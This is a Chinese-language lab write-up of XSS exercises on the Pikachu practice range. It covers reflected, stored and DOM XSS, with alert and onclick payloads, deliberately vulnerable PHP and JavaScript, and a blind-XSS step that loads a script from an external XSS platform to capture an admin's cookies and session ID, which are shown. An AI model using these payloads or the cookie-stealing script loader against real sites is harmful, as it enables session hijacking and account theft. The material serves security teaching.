c靶场pikachu,bp抓包
XSS 跨站漏洞产生原理:
创建一个回显传参的脚本:
<?php
xss=_GET['x'];
echo $xss;
?>
如果产生弹窗。这里就是XSS的本质:如果对方对参数进行回显,传递的参数的的代码就会被回显者的浏览器执行。即对文件显示过程出现了问题。
此时攻击者可以构造恶意URL:
http://example.com/vulnerable.php?x=<script>alert('XSS攻击')</script>
当用户访问这个链接时,浏览器会执行其中的JavaScript代码,弹出警告框。
浏览器差异对XSS的影响
IE浏览器(特别是新版)
-
弹窗拦截:现代IE/Edge浏览器会拦截大多数未经用户交互的弹窗
-
XSS过滤器:IE有内置的XSS过滤器,会尝试检测和阻止反射型XSS攻击
-
安全策略更严格
- 基础弹窗测试Payload
<script>alert('XSS')</script>
<script>alert(1)</script>
2.点击事件
' οnclick='alert(1)
" οnclick="alert(document.cookie)(普通Cookie - 可以获取如果没有HttpOnly:)
3.闭合标签Payload
'></script><script>alert(1)</script>
'></div><script>alert(1)</script>
XSS 跨站漏洞分类:
1.反射型(非持久性)

这关有字数长度的限制,可以在url上面进行修改或者在前端修改长度
尝试:

发现:

http://127.0.0.1/vul/xss/xss_reflected_get.php?message=1&submit=submit
出现相应修改的位置,尝试:
http://127.0.0.1/vul/xss/xss_reflected_get.php?message=<script>alert('xss')</script>&submit=submit

此时弹窗出现了xss这样的字眼
这个页面有一个表单:
<form method="get">
<input class="xssr_in" type="text" maxlength="20" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<input class="xssr_in" type="text" maxlength="20" name="message" />
后后端的php代码比如(可能):
if(isset($_GET['message'])) {
$user_input = $_GET['message'];
// 这里存在XSS漏洞 - 没有对用户输入进行转义
echo "你喜欢的NBA球员是: "
get传参message的参数然后这里存在xss漏洞之后输出就弹窗了
输入后提交<script>alert('xss')</script>
<p class='notice'>who is <script>alert('xss')</script>,i don't care!</p>
总结这个:
漏洞流程总结
1. 前端表单提交
<form method="get">
<input class="xssr_in" type="text" maxlength="20" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
2. 后端PHP处理(可能存在这样的漏洞)
<?php
if(isset($_GET['message'])) {
$user_input = $_GET['message'];
// 🚨 漏洞在这里!没有对用户输入进行转义
echo "你喜欢的NBA球员是: " . $user_input;
}
?>
3. 攻击过程
正常输入:
用户输入: kobe
URL: http://127.0.0.1/vul/xss/xss_reflected_get.php?message=kobe&submit=submit
输出: 你喜欢的NBA球员是: kobe
XSS攻击输入:
用户输入: <script>alert('XSS')</script>
URL: http://127.0.0.1/vul/xss/xss_reflected_get.php?message=<script>alert('XSS')</script>&submit=submit
输出: 你喜欢的NBA球员是: <script>alert('XSS')</script>
4. 浏览器执行
浏览器收到HTML响应:
你喜欢的NBA球员是: <script>alert('XSS')</script>
↓
浏览器解析并执行其中的JavaScript代码
↓
弹出警告框"XSS"
漏洞本质
根本原因:服务器将用户输入直接插入到HTML中,没有进行安全转义。
2.存储型xss(持久性)

<script>alert('1')</script>
<script>alert(1)</script>
<script>alert(2)</script>


此时就存储了三个数据
和反射型的区别:反射型回显参数,每次传递的参数不一样,XSS效果也就不一样(如果不构造,不会触发漏洞)。但是存储型不一样,写入了之后,每次访问留言板,都会触发XSS(相当于存储到了网站的数据库,攻击会持续到数据在数据库中被删除,危害性更大)。
存储型XSS vs 反射型XSS:核心区别对比
| 特性维度 | 存储型XSS(持久型) | 反射型XSS(非持久型) |
|---|---|---|
| 存储位置 | 服务器端(数据库、文件、留言、用户资料等) | 不存储。恶意脚本作为请求参数,仅存在于HTTP请求和响应中。 |
| 触发方式 | 用户只需正常访问一个被"污染"的页面(如留言板、文章页)。 | 用户必须主动点击一个专门构造的恶意链接。 |
| 传播与影响 | 广泛且持续 。影响所有访问该页面的用户,易于形成蠕虫传播。 | 针对性强且一次性。通常需要诱骗特定用户点击链接,影响范围有限。 |
| 攻击持久性 | 长期有效。只要恶意数据未被从服务器删除,攻击就一直存在。 | 短期有效。通常一次响应后即失效,或者链接过期后失效。 |
| 隐蔽性 | 高。受害者是在进行正常浏览时中招,防不胜防。 | 相对较低。依赖于用户点击一个可疑或伪装过的链接。 |
| 危害等级 | 极高。是三种XSS中危害最大的,常被定为高危漏洞。 | 中到高。危害取决于诱导点击的成功率。 |
| 技术比喻 | "公共饮水机投毒":投一次毒,所有来喝水的人都会中毒。 | "递给你一杯毒酒":需要骗你亲自喝下。 |
| 代码示例流程 | 1. 攻击者提交恶意评论 <script>...</script> 2. 服务器存入数据库 3. 受害者V访问文章页 4. 服务器从数据库取出恶意评论并返回 5. 受害者V的浏览器执行恶意脚本 |
1. 攻击者构造链接 http://example.com/search?q=<script>...</script> 2. 诱骗受害者V点击该链接 3. 服务器将 q 参数的值直接返回给页面 4. 受害者V的浏览器接收到并执行了包含恶意脚本的页面 |
但是其实都是前端传到后端php然后再php传回前端,只不过存储型他要经过数据库,危害更严重
- DOM型
了解一下HTMLDOM树(https://www.runoob.com/htmldom/htmldom-tutorial.html)

场景一:通过改变URL编号来换页(传统方式):
-
用户点击"第2页"的链接,浏览器向服务器发起一个新的请求:
https://example.com/products?page=2。 -
服务器接收到请求,根据
page=2这个参数,从数据库获取第二页的数据。
场景二:点击"查看更多"后URL不变(现代SPA方式):
它的核心技术是 前端JavaScript操作DOM。
click me 这关
先随便输代码然后看源代码发现:

//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
试试就试试,其实就是
#' οnclick="alert(2)"
<a href='#' οnclick="alert(2)" >

靶场dom-xss

不断点击发现:

源代码:

关键JavaScript代码
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
这个就是利用js代码产生的漏洞跟上一关是一个道理只需要闭合就行可以:
<a href='' οnclick='alert(123)'>'>what do you see?</a>
所以Payload为:
'οnclick='alert(123)'>
弹窗成功:

对于xss在线平台尝试(https://xssaq.com/?callback=project&act=view&id=12637):

创建:


开始尝试:
查看配置代码:

打开⼀个pikachu平台 xss盲打并将我们刚才复制的script恶意代码输⼊进去
<sCRiPt/SrC=//xs.pe/xRl>
尝试:

模拟管理员登录后台的操作 登录完成后触发我们插⼊的恶意代码
登录后台,看会发生啥?后台登录地址是/xssblind/admin_login.php
http://127.0.0.1/vul/xss/xssblind/admin_login.php
admin,123456

再去平台上面查看:

然后再查看:

|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Cookies | ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; __itrace_wid=b08a96b2-e7cd-45b4-2bbb-4b950a980e00; PHPSESSID=ej639envg2nit5skdabl2cc9v0 |
补充:
#cookie和session理论:
---Cookie:用户凭据:通过凭据可以判断对方身份信息,存储本地浏览器,存活时间较长,一般为小中型网站。(1.对方有漏洞2.对方浏览器不会阻止脚本的运行3.对方浏览器要保存cookie 4.对方管理员要触发XSS)
---session 会话,存储于服务器,存活时间较短,一般为大型网站。